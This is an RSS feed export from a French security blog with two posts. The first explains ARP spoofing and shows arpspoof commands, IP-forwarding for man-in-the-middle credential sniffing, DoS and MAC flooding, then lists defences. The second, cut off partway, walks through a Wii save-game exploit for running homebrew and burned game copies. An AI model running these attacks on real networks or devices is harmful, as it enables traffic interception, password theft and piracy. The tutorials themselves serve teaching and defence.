<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>Debian or not to be ? 2.0 &#187; faille</title> <atom:link href="http://www.crashdump.fr/tag/faille/feed/" rel="self" type="application/rss+xml" /><link>http://www.crashdump.fr</link> <description>that is the question</description> <lastBuildDate>Mon, 23 Jan 2012 13:14:39 +0000</lastBuildDate> <language>fr</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=</generator> <item><title>ARP Spoofing (ARP Cache poisoning)</title><link>http://www.crashdump.fr/securite/arp-spoofing-arp-cache-poisoning-59/</link> <comments>http://www.crashdump.fr/securite/arp-spoofing-arp-cache-poisoning-59/#comments</comments> <pubDate>Sun, 26 Apr 2009 09:25:57 +0000</pubDate> <dc:creator>Crashdump</dc:creator> <category><![CDATA[Réseaux]]></category> <category><![CDATA[Sécurité]]></category> <category><![CDATA[Adresse MAC]]></category> <category><![CDATA[arp]]></category> <category><![CDATA[ARP Spoofing]]></category> <category><![CDATA[Cache poisoning]]></category> <category><![CDATA[cisco]]></category> <category><![CDATA[Denial of Service]]></category> <category><![CDATA[DoS]]></category> <category><![CDATA[exploit]]></category> <category><![CDATA[faille]]></category> <category><![CDATA[Mac]]></category> <category><![CDATA[MAC Flooding]]></category> <category><![CDATA[Man in the middle]]></category> <category><![CDATA[MITM]]></category> <category><![CDATA[Modele OSI]]></category><guid isPermaLink="false">http://www.crashdump.fr/blog/?p=59</guid> <description><![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2009/04/arp-spoofing.png" class="attachment-featured-image wp-post-image" alt="arp-spoofing" title="arp-spoofing" /></p><br />Dans le monde de la sécurité informatique, il existe trois types de failles : L’exploit connu de tous, généralement rapidement corrigé par un patch. L’exploit de type 0-day, très peu de gens en ont connaissance — qui sera peut-être corrigé un jour — Et enfin les vulnérabilités dues a la conception d’un système/protocole et qui ne [...]]]></description> <content:encoded><![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2009/04/arp-spoofing.png" class="attachment-featured-image wp-post-image" alt="arp-spoofing" title="arp-spoofing" /></p><br /><p><em>Dans le monde de la sécurité informatique, il existe trois types de failles : L’exploit connu de tous, généralement rapidement corrigé par un patch. L’exploit de type 0-day, très peu de gens en ont connaissance — qui sera peut-être corrigé un jour — Et enfin les vulnérabilités dues a la conception d’un système/protocole et qui ne pourrons pas être, c’est le cas de par exemple du protocole de routage BGP (sur lequel j’ai fait un billet précédemment) ou encore de l’ « Address Resolution Protocol » aka ARP. Et tout bon sysadmin se doit de les connaitre pour savoir où et comment surveiller son réseau et se prémunir de ces attaques qui ne pardonnent pas.<br /> Ce protocole et les attaques qu&#8217;il permet sur un LAN sont plutôt bien connus. Néanmoins, les conséquences de ces attaques sont rarement appréhendées à leur juste mesure. La technique que nous allons voir ici se nomme ARP Spoofing (ou ARP Cache poisoning). C&#8217;est une technique de spoofing très efficace bien que facilement détectable et – comme je le disais plus haut, parfaitement incurable, car lié directement a sa conception. . Nous étudierons trois possibilités de sont utilisation : Denial of Service, Man in the middle et MAC Flooding. Mais tout d&#8217;abord, commençons par une piqûre de rappel.</em></p><p>MAJ 6 Mai 2009: Correction de quelques fautes.</p><ul><li>1. <a rel="nofollow" href="#modeleosi">Modèle OSI</a></li><li>2. <a rel="nofollow" href="#ladressemac">L’adresse MAC</a></li><li>3. <a rel="nofollow" href="#leprotocolearp">Le protocole ARP</a></li><li>4. <a rel="nofollow" href="#larpspoofing">L’ARP Spoofing</a></li><li>5. <a rel="nofollow" href="#faiblesses">Faiblesses</a></li><li>5.1 Denial of Service</li><li>5.2 Man in the middle</li><li>5.3 MAC Flooding</li><li>6. <a rel="nofollow" href="#solutions">Solutions</a></li><li>6.1 Pour les petits réseaux</li><li>6.2 Pour les grands réseaux</li><li>6.3 Pour tous le monde</li></ul><h2>1. <a name="modeleosi">Modèle OSI</a></h2><p>L’OSI (Open Systems Interconnection) est un modèle de communications entre machines proposé par l&#8217;ISO (Organisation internationale de normalisation). Il décrit les fonctionnalités nécessaires à la communication et l&#8217;organisation de ces fonctions.<br /> Dans sa forme la plus simple, il divise le réseau en sept couches que nous ne détaillerons pas ici. La numérotation des couches commence par le bas, c&#8217;est à dire par le matériel (matériel en bas, logiciel d&#8217;application en haut. Nous nous intéressons uniquement à certaines couches dites basses :</p><p>• La couche physique (niveau 1) : La couche physique est chargée de la transmission effective des signaux électriques ou optiques entre les interlocuteurs (100BASE-TX, ADSL, Firewire, USB, RS-232…).<br /> • la couche liaison (niveau 2) est le lien entre la carte réseau et la couche réseau (Ethernet, Token ring, WiFi, PPPoE)<br /> • la couche réseau (niveau 3) gère l&#8217;adressage logique et le routage (IPv4, IPv6, ICMP).</p><p><a href="http://www.crashdump.fr/wp-content/uploads/2009/04/comptcp-osi.png"><img class="alignnone size-thumbnail wp-image-654" title="comptcp-osi" src="http://www.crashdump.fr/wp-content/uploads/2009/04/comptcp-osi-430x125.png" alt="comptcp-osi" width="430" height="125" /></a></p><p>Exemples :</p><p>- Un hub est un matériel de niveau 1 : il permet de relier plusieurs machines à une même branche du réseau. Il se contente de faire circuler les signaux dans les deux sens, sans traitement.<br /> - Un routeur est un matériel de niveau 3, c&#8217;est-à-dire qu&#8217;il intervient aux niveaux 1 à 3. C&#8217;est le dispositif de base des réseaux. Il lit l&#8217;adresse IP des paquets qu&#8217;il reçoit et les re-expédie où il faut depuis les données contenues dans sa table de routage et son cache ARP. Cette dernière est mise à jour régulièrement, en fonction des données que le routeur reçoit des routeurs et des ordinateurs voisins.</p><h2>2. <a name="ladressemac">L’adresse MAC</a></h2><p>L’adresse MAC (Media Access Control) est un identifiant physique constitué de 6 octets, elle est attribuée par le constructeur de l’équipement et « hard codé » sur la carte (il est possible de la changer, mais ce n’est pas le but de cet article.) Elle consiste en six nombres hexadécimaux séparés par des « &#8211; » ou des « : », il existe potentiellement 248 (environ 281 000 milliards) d&#8217;adresses MAC possible, il est donc quasiment impossible de se retrouver avec un doublon sur le réseau. Notez que l’adresse de broadcast est: FF:FF:FF:FF:FF:FF, les données seront envoyées à l’ensemble du réseau local.<br /> Nota : L&#8217;IEEE a donné des préfixes de 24 bits sur les 48 bits aux fabricants, c’est l &#8216;OUI (organizationally unique identifier). Ce qui permet facilement d’identifier une carte de destination, ex :</p><p>00-00-0C(hex) Pour Cisco ou encore 00-00-7D(hex) pour Sun – (clin d’œil a touff’.. si tu me lis ;)</p><p>Vous pouvez y avoir accès, sous Linux avec la commande ifconfig :</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">[user@machine]$ ifconfig<br /> eth0 Link encap:Ethernet HWaddr 00:90:27:52:78:7A<br /> inet addr:192.168.10.51 Bcast:192.168.10.255 Mask:255.255.255.0</div></td></tr></tbody></table></div><p>En savoir plus : http://www.iana.org/assignments/ieee-802-numbers</p><h2>3. <a name="leprotocolearp">Le Protocole ARP</a></h2><p>Ce protocole est vraiment très simple : Il sert à mettre en corrélation l’adresse IP avec l’adresse MAC pour savoir qui sont les machines sur le réseau et donc savoir ou router les paquets. Ce protocole est totalement séparé de TCP/IP puisqu’il n’opère qu’entre les niveaux 2 et 3 de la couche réseau. Nous pourrions le comparer aux DNS sauf qu’au lieu de convertir les noms de domaines en IP, il convertit les IPs en Adresse MAC.<br /> Les équipements réseaux communiquent en échangeant des trames Ethernet (dans le cas d&#8217;un réseau Ethernet bien sûr) au niveau de la couche liaison de données, toute machine connectée a un réseau possède un cache ARP de toutes les adresses IP/MAC rencontrés, ce qui permet de ne pas encombrer les réseaux en renouvelant les requêtes pour communiquer avec les machines contactées précédemment.</p><p>Il comprend quatre messages de base :</p><div><ol><li>Une requête ARP: L’ordinateur A demande sur le réseau (en broadcast) « Qui a cette adresse IP ? »</li><li>Une réponse ARP: L’ordinateur B répond a l’ordinateur A : « J’ai cette adresse IP et mon adresse Mac est .. »</li><li>Une requête RARP (ARP inversé): Même principe que le 1. sauf que l’ordinateur A demande : “Qui a cette adresse mac ?” (En réalité le RARP est très peu utilisé et est essentiellement utilisé pour les stations de travail n&#8217;ayant pas de disque dur et souhaitant connaître leur adresse logique.)</li><li>Une réponse RARP:L’ordinateur B répond a l’ordinateur A: “J’ai cette adresse IP:..”<br /> Puisqu&#8217;il s&#8217;agit de broadcast, tous les ordinateurs connectés au support physique vont recevoir la requête. Les autres machines recevront aussi le message et pourrons analyser les messages pour stocker dans leur cache une liste des adresses IP/MAC (Vous commencez a voir ou je veux en venir&#8230;) La machine qui possède cette adresse MAC, sera la seule &#8211; ce qui est censé être le cas dans tout réseau, cf : Adresses MAC, plus haut &#8211; à répondre en envoyant à la machine émettrice une réponse.</li></ol></div><p>Aller plus loin : http://tools.ietf.org/html/rfc826</p><h2>4. <a name="larpspoofing">L’ARP Spoofing</a></h2><p>Bien, assez de tous ces rappels ennuyeux, passons aux choses amusantes : la vulnérabilité de ce protocole. Pour améliorer le temps de réponse et limiter l’utilisation du réseau la plupart des systèmes mettent a jour leur cache ARP a chaque fois qu’ils reçoivent une réponse, même s’ils ne l’on pas demandé : ce qui veut dire qu’un « pirate » envoyant un message ARP a l’ordinateur B disant « l’ordinateur C a mon Adresse MAC » recevra ensuite tous les messages qui devraient normalement être délivrés a cet ordinateur C.<br /> petite mise en situation :</p><p>(J’ai simplifié les adresses MAC pour une meilleure lisibilité)<br /> A. Le serveur, 00:00:00:00:00:01 – 192.168.0.10<br /> B. Un utilisateur, 00:00:00:00:00:02 – 192.168.0.20<br /> C. Le pirate, 00:00:00:00:00:03 – 192.168.0.30</p><p>C annonce à B “192.168.0.10” est a l’adresse MAC: 00:00:00:00:00:03.<br /> C annonce à A “192.168.0.20” est a l’adresse MAC: 00:00:00:00:00:03.</p><p>Comment ? avec des solutions comme ARPSpoof ou Némésis, très simplement :</p><div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">&#91;</span>user<span style="color: #000000; font-weight: bold;">@</span>cible<span style="color: #7a0874; font-weight: bold;">&#93;</span>$ traceroute 192.168.0.10<br /> traceroute to 192.168.0.10 <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.0.10<span style="color: #7a0874; font-weight: bold;">&#41;</span>, <span style="color: #000000;">30</span> hops max, <span style="color: #000000;">40</span> byte packets<br /> <span style="color: #000000;">1</span> 192.168.0.10 <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.0.10<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">718</span> ms <span style="color: #000000;">461</span> ms <span style="color: #000000;">849</span> ms</div></td></tr></tbody></table></div><div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">&#91;</span>user<span style="color: #000000; font-weight: bold;">@</span>cible<span style="color: #7a0874; font-weight: bold;">&#93;</span>$ arp<br /> Address HWtype HWAddress Flags Mask Iface<br /> 192.168.0.10 ether 00:00:00:00:00:01 C eth0<br /> 192.168.0.30 ether 00:00:00:00:00:03 C eth0</div></td></tr></tbody></table></div><div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">&#91;</span>evil<span style="color: #000000; font-weight: bold;">@</span>pirate<span style="color: #7a0874; font-weight: bold;">&#93;</span>$ arpspoof <span style="color: #660033;">-t</span> 192.168.0.30 192.168.0.10<br /> <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">3</span> <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">2</span> 0806 <span style="color: #000000;">42</span>: arp reply 192.168.0.10 is-at <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">3</span><br /> <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">3</span> <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">2</span> 0806 <span style="color: #000000;">42</span>: arp reply 192.168.0.10 is-at <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">3</span><br /> <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">3</span> <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">2</span> 0806 <span style="color: #000000;">42</span>: arp reply 192.168.0.10 is-at <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">3</span></div></td></tr></tbody></table></div><div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">&#91;</span>user<span style="color: #000000; font-weight: bold;">@</span>cible<span style="color: #7a0874; font-weight: bold;">&#93;</span>$ traceroute 192.168.0.10<br /> traceroute to 192.168.0.10 <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.0.10<span style="color: #7a0874; font-weight: bold;">&#41;</span>, <span style="color: #000000;">30</span> hops max, <span style="color: #000000;">40</span> byte packets<br /> <span style="color: #000000;">1</span> 192.168.0.10 <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.0.10<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">612</span> ms <span style="color: #000000;">465</span> ms <span style="color: #000000;">515</span> ms<br /> <span style="color: #000000;">2</span> 192.168.0.30 <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.0.30<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">238</span> ms <span style="color: #000000;">121</span> ms <span style="color: #000000;">169</span> ms</div></td></tr></tbody></table></div><p>Maintenant toutes les communications de l’utilisateur vers le serveur (ou inversement) seront routées vers le pirate… qui pourra par exemple récupérer les login/mot de passe.</p><h2>5. <a name="faiblesses">Faiblesses</a></h2><p>Comme je viens de le dire, il n’y a aucun système d’authentification. ARP est basé sur la confiance : il considère tous les messages reçus comme authentiques, qu’il provienne de la machine légitime ou pas et il n’intègre aucun moyen de vérification. Je pense que les concepteurs de ces protocoles ont sûrement simplifié les communications pour que les réseaux fonctionnent de manière optimale, les débits étaient très peu élevés à cette époque et un système d’authentification aurait été beaucoup plus lourd.<br /> La possibilité d’associer n’importe quelle adresse IP avec une @MAC permet à un pirate plusieurs vecteurs d’attaques, je vais maintenant en détailler 3 : Denial of Service, Man in the Middle et MAC Flooding.</p><h3>5.1 Denial of Service (DoS)</h3><p>Comme nous l’avons vu précédemment, un pirate peut facilement associer une adresse IP a une fausse adresse MAC. Par exemple, un pirate peut envoyer une réponse ARP associant l’adresse de vôtre routeur avec une adresse MAC qui n’existe pas. Votre ordinateur pense donc connaître réellement la passerelle par défaut, mais en fait ils envoient leurs paquets a une destination qui n’existe pas. Le pirate vous a isolé du réseau.<br /> Nous pourrions tout aussi bien projeter &#8211; sur un réseau plus grand – une attaque de type DDoS (Distributed Denial of Service) en signalant a toutes les machines qu’une seule adresse MAC correspond a toutes les adresses IP. Ce qui risque de submerger la machine sous des requêtes en tout genre. (Voir aussi MAC Flooding).</p><h3>5.2 Man in the Middle</h3><p>Une autre utilisation intéressante de cette faille est de rester dans l’ombre et d’ « écouter » le trafic (sniffing) pour récupérer des informations comme les logins et mot de passe… ce qui est particulièrement dévastateur, car le pirate peut rapidement avoir accès a des informations qui lui permettront de s’infiltrer plus profond dans vôtre réseau.<br /> Mise en œuvre : Dans le cadre d’un ARP Poisoning simple, les machines n’arrivent plus a joindre leur destinataire légitime, l’attaque est donc très facilement repérable. Mais le pirate peut facilement mettre en place ce qu’on appelle l’IP Forwarding (echo 1 &gt; /proc/sys/net/ipv4/ip_forward), celles-ci enverront donc leurs trames Ethernet à la machine pirate tout en croyant communiquer avec la cible, et ce de façon transparente pour les switches. De son côté, la machine pirate stocke le trafic et le renvoie à la vraie machine en forgeant des trames Ethernet comportant la vraie adresse MAC (indépendamment de l&#8217;adresse IP) pour cela il suffit en fait d&#8217;envoyer régulièrement des paquets ARPReply en broadcast, contenant l&#8217;adresse IP cible (mettons, un serveur) et la fausse adresse MAC. Cela a pour effet de modifier les tables dynamiques de toutes les machines du réseau. Ce qui permet à la machine du pirate d’écouter toutes les informations qui transitent par son ordinateur et il peu – facilement – avoir accès a vos mots de passe non chiffrés (entre autres).</p><h2>5.3 MAC Flooding</h2><p>Le MAC Flooding est un ARP Cache poisoning visant les routeurs et les switches. Certains matériels réseaux actifs &#8211; lorsqu’ils sont surchargés – basculent dans un mode moins gourmand en ressources, pour sauvegarder leurs liens : ils deviennent de simples hubs et donc broadcastent tout le trafic réseau sur tous leurs ports (et donc tous les ordinateurs qui y sont connectés. (Et en floodant la table ARP d’un switch avec énormément de données on peut facilement le surcharger..) ce qui permet ensuite au pirate d’écouter facilement tout ce qui transite sur le réseau.</p><h2>6. <a name="solutions">Solutions</a></h2><p>Certaines solutions que je vous propose ci-dessous sont simples, mais n’hésitez pas à les mettre en place – car si vous vous pensez à l’abri c’est là que vous êtes le plus vulnérable. Notez tout de même que l’ «ARP Poisoning» ne peut être utilisé qu’en local. Il doit contrôler une machine sur votre réseau, ce qui veut dire que le pirate aurait déjà accès à ce réseau… Parce que cette faille est inhérente au protocole requis par TCP/IP vous ne pourrez le patcher, cependant il existe des solutions pour le surveiller/détecter.</p><h3>6.1 Pour les petits réseaux</h3><p>Si vous êtes administrateur d’un petit réseau, vous avez plusieurs méthodes imparables pour vous prémunir de ces attaques : Utiliser des Adresses IP fixes / Tables ARP statiques. (arp –s pour définir les @MAC/IP de tous vos périphériques) ils ne changeront donc jamais, quels que soient les messages reçus. Si vous avez mis en place un contrôleur de domaine, il est possible de définir un script de démarrage dans lequel vous spécifieriez ces adresses.<br /> Gardez tout de même a l’esprit que maintenir une liste de ces adresses est possible seulement si vous possédez un petit réseau. S’il devait s’agrandir vous seriez rapidement submergé par le temps demandé a maintenir cette liste, car il vous faudrait ajouter chaque machine a ce script avant qu’elle ne puisse dialoguer avec les autres (quid de la taille du fichier script ?).</p><h3>6.2 Pour les grands réseaux</h3><p>Si vous êtes administrateur d’un réseau informatique assez étendu vous devriez être équipé de switch qui propose des options « port security » (par exemple Cisco) cette option permet de définir une seule adresse MAC par ports et qui &#8211; si cette adresse change &#8211; verrouille le port. Cela permet de limiter la plupart des attaques ARP comme le Man-in-the-middle.</p><h3>6.3 Pour tous le monde</h3><p>La meilleure protection contre l’ARP Poisoning est la surveillance de votre réseau, en effet, avec les outils appropriés, cette attaque ne peut pas passer inaperçue. Par exemple, il existe un outil nommé ARPwatch qui permet – en autres – d’envoyer une alerte quand messages ARP anormaux apparaissent (j’écrirais un billet sur l’envoi d’alertes par SMS via des API bientôt).</p> ]]></content:encoded> <wfw:commentRss>http://www.crashdump.fr/securite/arp-spoofing-arp-cache-poisoning-59/feed/</wfw:commentRss> <slash:comments>11</slash:comments> </item> <item><title>Lire les jeux gravés sur une Wii, méthode logicielle.</title><link>http://www.crashdump.fr/tout-et-rien/lire-les-jeux-graves-sur-une-wii-methode-logicielle-446/</link> <comments>http://www.crashdump.fr/tout-et-rien/lire-les-jeux-graves-sur-une-wii-methode-logicielle-446/#comments</comments> <pubDate>Mon, 15 Dec 2008 22:07:52 +0000</pubDate> <dc:creator>Crashdump</dc:creator> <category><![CDATA[Tout-et-Rien]]></category> <category><![CDATA[Backup]]></category> <category><![CDATA[Backup Channel]]></category> <category><![CDATA[bug]]></category> <category><![CDATA[carte sd]]></category> <category><![CDATA[console]]></category> <category><![CDATA[exploit]]></category> <category><![CDATA[faille]]></category> <category><![CDATA[Firmware]]></category> <category><![CDATA[hack]]></category> <category><![CDATA[homebrew]]></category> <category><![CDATA[jeux gravés]]></category> <category><![CDATA[modification]]></category> <category><![CDATA[Nintendo]]></category> <category><![CDATA[Pack]]></category> <category><![CDATA[patcher]]></category> <category><![CDATA[photos]]></category> <category><![CDATA[tutoriel]]></category> <category><![CDATA[twilight princess]]></category> <category><![CDATA[wad]]></category> <category><![CDATA[wii]]></category><guid isPermaLink="false">http://www.crashdump.fr/?p=446</guid> <description><![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wii_will_rock_you.jpg" class="attachment-featured-image wp-post-image" alt="wii_will_rock_you" title="wii_will_rock_you" /></p><br />Je vais vous expliquer, ici comment &#171;&#160;patcher&#160;&#187; votre Wii pour pouvoir y installer des programmes tiers et pouvoir jouer à des jeux gravés (sauvegardes&#8230;). Mise à jour du tutoriel le: Samedi 28 avril 09&#8242; Une modification du système votre Wii peut, potentiellement, l&#8217;endommager. Je décline toutes responsabilités si le fait d&#8217;essayer cette méthode causait des [...]]]></description> <content:encoded><![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wii_will_rock_you.jpg" class="attachment-featured-image wp-post-image" alt="wii_will_rock_you" title="wii_will_rock_you" /></p><br /><p><em>Je vais vous expliquer, ici comment &laquo;&nbsp;patcher&nbsp;&raquo; votre Wii pour pouvoir y installer des programmes tiers et pouvoir jouer à des jeux gravés (sauvegardes&#8230;).</em></p><p><em>Mise à jour du tutoriel le: Samedi 28 avril 09&#8242;</em></p><p><strong>Une modification du système votre Wii peut, potentiellement, l&#8217;endommager. Je décline toutes responsabilités si le fait d&#8217;essayer cette méthode causait des problèmes à votre console. De plus, vous n&#8217;avez le droit de copier un logiciel ou jeux que si vous possédez l&#8217;original (création d&#8217;une copie de sauvegarde). Par le non-respect de ce texte et des lois qui en résultent (disponibles dessous) vous vous rendez coupable de violation du code de la propriété intellectuelle. Crashdump.fr ne peut être tenu responsable des utilisations illicites (actes de piratage) exercé par l&#8217;un de ses lecteurs. </strong></p><p>DIRECTIVE EUROPEENE 91/250 DU 10-05-1991:<br /> - <em>Article 5 (extrait) Une personne ayant le droit d&#8217;utiliser le programme d&#8217;ordinateur ne peut être empêchée par contrat d&#8217;en faire une copie de sauvegarde dans la mesure où celle-ci est nécessaire pour cette utilisation. </em><br /> - <em>Liste des textes relatifs aux copies de sauvegarde (cette liste n&#8217;est pas exhaustive et les cas de jurisprudence n&#8217;y sont pas évoqués) : A122-4, 122-5, 122-6, 122-6-1, 122-6-2, 122-7, 131-3, R335-1 , R335-2 du code de la propriété intellectuelle. Directive Européenne 91/250 du 10/05/91 et 92/100 du 19/11/92.</em></p><p><strong><a href="http://www.crashdump.fr/myFiles/pics/TutoWii/">Retrouvez toutes les photos du Hack ici</a></strong></p><li><h2>Pré-requis</h2></li><li><h3>Matériels requis</h3></li><p>- Une Wii,<br /> - Le jeu &laquo;&nbsp;Zelda: Twilight Princess&nbsp;&raquo; (Version wii uniquement),<br /> - Une carte SD (attention aux cartes SD de plus de 2Go/SDHC.. elles peuvent poser problème),<br /> - Un moyen de lire/ecrire sur votre carte SD via un ordinateur,<br /> - Une manette gamecube,<br /> - Une connexion internet sur votre Wii,<br /> - Le pack de logiciels (disponible ci-dessous).</p><p><em>Trois packs sont disponibles ici, pour trois situations différentes. En effet, suivant le firmware de votre Wii la procédure change un petit peu !</em><br /> <strong>MAJ</strong>: <em>Nouvelle version des packs (v2), mise à jour: du Twilight Hack et du Homebrew channel. Les anciens packs sont toujours disponibles au cas où&#8230;</em><br /> Pour une Wii v3.2E: <a title="WiiPatchPack3.2Ev2.zip" href="http://www.crashdump.fr/wp-content/uploads/2008/12/WiiPatchPack3.2Ev2.zip" target="_blank">WiiPatchPack3.2Ev2.zip</a> &#8211; (Pack v1 disponible <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/WiiPatchPack3.2E.zip">ici</a>)<br /> Pour une Wii v3.3E: <a title="WiiPatchPack3.3Ev2.zip" href="http://www.crashdump.fr/wp-content/uploads/2008/12/WiiPatchPack3.3Ev2.zip" target="_blank">WiiPatchPack3.3Ev2.zip</a> &#8211; (Pack v1 disponible <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/WiiPatchPack3.3E.zip">ici</a>)<br /> Pour une Wii v3.4E: <a title="WiiPatchPack3.4Ev2.zip" href="http://www.crashdump.fr/wp-content/uploads/2008/12/WiiPatchPack3.4Ev2.zip" target="_blank">WiiPatchPack3.4Ev2.zip</a> &#8211; (Pack v1 disponible <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/WiiPatchPack3.4E.zip">ici</a>)</p><p>Si votre Wii utilise un firmware antérieur au 3.x faites une mise à jours en 3.4 avant de commencer. (Si vous faites cette mise à jours en ligne, attention à l&#8217;évolution des firmwares Nintendo.. il n&#8217;est pas dit que nous puissions toujours exploiter les mêmes bugs sur un hypothétique Firmware &gt; 3.5.)</p><li><h3>Contenu du pack</h3></li><p>- Homebrew Channel 10.1,<br /> - Channel File Manager 2.0 beta 2,<br /> - cIOS Rev7,<br /> - cIOS Uninstaller,<br /> - Backup Creator,<br /> - cIOS Downgrader,<br /> - ImgBurn,<br /> - Chaine Backup Launcher 0.3 Gamma Autoboot,<br /> - Starfall,<br /> - Sauvegarde Twlight Hack.</p><li><h2>1. Preparation de la carte SD</h2></li><p>Tout d’abord, il faut savoir quel firmware est installé sur votre wii:</p><ul><li>A partir du menu de lancement, cliquer sur « <strong>wii</strong> », puis « <strong>parametres wii</strong> »,</li><li>En haut a droite, vous verrez la version du firmware installé (3.3 E, 3.2 E …),</li><li>Selon la version, dezippez le contenu du pack correspondant sur votre carte SD.</li></ul><li><h2>2. Installation de la faille Zelda (twilight hack) et de la chaine homebrew, qui permettra de lancer les applications tierces.</h2></li><ul><li>Mettez votre carte SD dans votre Wii,</li><li>Allumez votre wii puis allez dans : &laquo;&nbsp;(<strong>Wii</strong>)&nbsp;&raquo; (En bas à gauche) &#8211;&gt; &laquo;&nbsp;<strong>Gestion des donnée</strong>s&nbsp;&raquo; &#8211;&gt; &laquo;&nbsp;<strong>Données de sauvegarde</strong>&nbsp;&raquo; &#8211;&gt; &laquo;&nbsp;<strong>Carte SD</strong>&nbsp;&raquo; &#8211;&gt; Copiez la sauvegarde &laquo;&nbsp;<strong>Twilight Hack</strong>&nbsp;&raquo; (eur, jap, usa, selon la provenance de votre console),<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_1.jpg"><img class="alignnone size-thumbnail wp-image-450" title="wiipatchtuto_1" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_1-430x125.jpg" alt="wiipatchtuto_1" width="430" height="125" /></p><p></a></li><li>Insérez le jeu &laquo;&nbsp;<strong>Zelda : Twilight Princess</strong>&nbsp;&raquo; dans votre Wii et lancez le par la chaîne disque,<br /> <a 